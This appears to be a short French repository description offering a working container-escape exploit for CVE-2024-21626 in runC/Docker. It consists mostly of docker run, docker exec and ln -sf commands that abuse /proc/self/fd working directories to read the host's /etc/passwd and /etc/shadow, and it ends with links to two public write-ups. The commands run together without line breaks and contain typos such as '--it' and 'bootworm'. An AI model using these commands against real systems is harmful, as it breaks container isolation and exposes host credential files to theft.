flojboj/cve-2024-21626Exploit fonctionnel pour CVE-2024-21626, une évasion de conteneur runC/Docker via une attaque par lien symbolique sur le répertoire de travail, permettant l'accès au système de fichiers de l'hôte.
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
-w /proc/self/fd/8\cat ../../../../../../../../../etc/passwd à l'intérieur du conteneurdocker run --name cve-2024-21626 --rm --it debian:bootwormln -sf /proc/self/fd/7/ /fooln -sf /proc/self/fd/8/ /bardocker exec -it -w /bar cve-2024-21626 sleep 120ls -F /proccat /proc/9/cmdline (trouvez le PID de la commande sleep)cat /proc/9/cwd/../../../../../etc/shadowhttps://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626